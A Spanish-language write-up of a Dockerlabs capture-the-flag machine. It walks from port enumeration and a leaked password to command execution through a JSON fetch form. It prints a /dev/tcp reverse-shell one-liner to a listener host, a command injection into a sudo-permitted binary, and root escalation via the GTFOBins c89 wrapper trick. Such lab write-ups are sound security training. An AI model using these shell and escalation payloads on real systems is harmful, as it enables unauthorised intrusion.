Una máquina de Dockerlabs de dificultad intermedia.

Como con todas las máquinas de Dockerlabs iniciamos el container con el script auto_deploy.sh y despúes iniciamos la enumeración.

En este caso utilizare mi script fuga.sh de https://github.com/XoanOuteiro/sorcery

export TARGET=172.17.0.2

fuga.sh

--[風雅]--

--[Enumerating Ports]--
--[Scanning]--

--[Detected Services]--

Service              | Version
---------------------+--------------------------
http                 | Apache httpd 2.4.58 ((Ubuntu))
http                 | SimpleHTTPServer 0.6 (Python 3.12.3)

--[Host Fingerprinting]--

Category             | Details
---------------------+--------------------------
Device Type          | general purpose|router
Running              | Linux 4.X|5.X, MikroTik RouterOS 7.X
OS Details           | Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
OS CPE               | cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3

Ver un servidor HTTP python de primeras es interesante, es probable que este hosteando algún archivo importante. No parece haber nada (el archivo id_rsa esta vacío) pero en /secret/history.txt encontramos este string: “super_secure_password”

Si vamos al puerto 80 podemos ver una pantalla pidiendo una contraseña, si utilizamos el string anterior nos da acceso.

Este fichero nos deja crear un archivo .json, en su contenido escribo whoami. En la parte inferior del formulario podemos fetchear archivos, en este caso buscamos el config1.json que he creado y vemos que el comando se ejecuta, somos www-data.

Podemos usar esto para obtener una revshell.

Creo un config2.json con:

sh -i >& /dev/tcp/172.17.0.1/4444 0>&1

Configuro un escuchador y fetcheo config2.json:

ncat -nlvp 4444

Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2:38432.
sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ pwd
/var/www/html/super_ultra_secure_page
$ 

Podemos ver que hay algún usuario:

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
codebad:x:1001:1001:codebad,,,:/home/codebad:/bin/bash
metadata:x:1000:1000:metadata,,,:/home/metadata:/bin/bash

No podemos acceder al home de metadata, pero si al de codebad:

$ ls -la /home/codebad

total 48
drwxr-xr-x 3 codebad  codebad   4096 Aug 29  2024 .
drwxr-xr-x 1 root     root      4096 Aug 29  2024 ..
-rw------- 1 codebad  codebad      5 Aug 29  2024 .bash_history
-rw-r--r-- 1 codebad  codebad    220 Aug 29  2024 .bash_logout
-rw-r--r-- 1 codebad  codebad   3771 Aug 29  2024 .bashrc
-rw-r--r-- 1 codebad  codebad    807 Aug 29  2024 .profile
-rwxr-xr-x 1 metadata metadata 16176 Aug 29  2024 code
drwxr-xr-x 2 root     root      4096 Aug 29  2024 secret

Code es un binario, en el directorio de secret vemos esto:

$ ls /home/codebad/secret
adivina.txt
$ cat /home/codebad/secret/adivina.txt

Adivinanza

En el mundo digital, donde la protección es vital,
existe algo peligroso que debes evitar.
No es un virus común ni un simple error,
sino algo más sutil que trabaja con ardor.

Es el arte de lo malo, en el software es su reino,
se oculta y se disfraza, su propósito es el mismo.
No es virus, ni gusano, pero se comporta igual,
toma su nombre de algo que no es nada normal.

¿Qué soy?

La respuesta sería malware, probemos a ver si es una contraseña

$ su codebad
Password: malware
whoami
codebad

Perfecto, veamos que puede hacer codebad:

sudo -l
Matching Defaults entries for codebad on 21546c8c253c:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User codebad may run the following commands on 21546c8c253c:
    (metadata : metadata) NOPASSWD: /home/codebad/code

Podemos ejecutar nuestro código como metadata:

sudo -u metadata ./code -h  
code  
secret  
sudo -u metadata ./code  
Usage: ./code <options>

Por lo que veo tragó con h, puede ser que sea algo similar a un ls?

sudo -u metadata ./code -ahF  
./  
../  
.bash_history  
.bash_logout  
.bashrc  
.profile  
code*  
secret/

Si que lo es, y también acepta comandos con comillas así que podemos intentar una inyección de comandos:

sudo -u metadata ./code "ahF;id"     
/bin/ls: cannot access 'ahF': No such file or directory  
uid=1000(metadata) gid=1000(metadata) groups=1000(metadata),100(users)

Probemos a instanciar bash:

sudo -u metadata ./code "a;bash -i"  

/bin/ls: cannot access 'a': No such file or directory  
bash: cannot set terminal process group (24): Inappropriate ioctl for device  
bash: no job control in this shell  
metadata@21546c8c253c:/home/codebad$

Genial! ahora a ver que podemos hacer como metadata:

metadata@21546c8c253c:/home/codebad$ cd    
cd    
metadata@21546c8c253c:~$ ls  
ls  
pass.txt  
user.txt  
metadata@21546c8c253c:~$ cat user.txt  
cat user.txt  
[censurado]  
metadata@21546c8c253c:~$ cat pass.txt  
cat pass.txt  
cat: pass.txt: Permission denied  
metadata@21546c8c253c:~$ ls -lhF  
ls -lhF  
total 8.0K  
-rw------- 1 root     root     15 Aug 29  2024 pass.txt  
-rw------- 1 metadata metadata 33 Aug 29  2024 user.txt

No podemos leer pass.txt, enumerar sudoers requiere contraseña (y no la sabemos) y no se me ocurre mucho más que hacer. Voy a transferir linpeas.

Solo nos sugiere que hay un binario extraño llamado metadatosmalos:

metadata@21546c8c253c:~$ cat /usr/local/bin/metadatosmalos  
cat /usr/local/bin/metadatosmalos  
#!/bin/bash  
  
#chmod u+s /bin/bash  
  
whoami | grep 'pass.txt'  
  
# metadata is bad

No le veo particular sentido a lo que hace el script, pero se llama de forma similar a nuestro usuario y esta máquina ya ha tenido pistas raras sobre contraseñas, probemos a usar el nombre del binario:

metadata@21546c8c253c:~$ sudo -l -S  
sudo -l -S  
[sudo] password for metadata: metadatosmalos  
Matching Defaults entries for metadata on 21546c8c253c:  
   env_reset, mail_badpass,  
   secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,  
   use_pty  
  
User metadata may run the following commands on 21546c8c253c:  
   (ALL : ALL) /usr/bin/c89

Curioso, veamos si GTFOBins tiene algo que decir sobre c89:

rustybins --exploit sudo --bins c89

---------------------------------
 EXPLOIT: sudo
 BINS: c89
---------------------------------


✔ c89 https://gtfobins.github.io/gtfobins/c89/#sudo


If the binary is allowed to run as superuser by

c89 -wrapper /bin/sh,-s .


--------------------------------------------------------------------------------------------

- Contribute to GTFOBins https://gtfobins.github.io/contribute/
- Follow GTFOBins' creators https://twitter.com/norbemi https://twitter.com/cyrus_and
- Follow the original tool creator https://twitter.com/nightshiftc
- Follow the CristinaSolana https://github.com/CristinaSolana
- Checkout the original Go implementation https://github.com/CristinaSolana/ggtfobins

Probemos:

metadata@21546c8c253c:~$ sudo c89 -wrapper /bin/sh,-s .  
sudo c89 -wrapper /bin/sh,-s .  
whoami  
root

Listo! máquina pwneada.

Por curiosidad viendo lo que había en pass.txt:

cat /home/metadata/pass.txt  
metadatosmalos

Finalmente pillamos la flag de root:

cat /root/root.txt  
[censurado]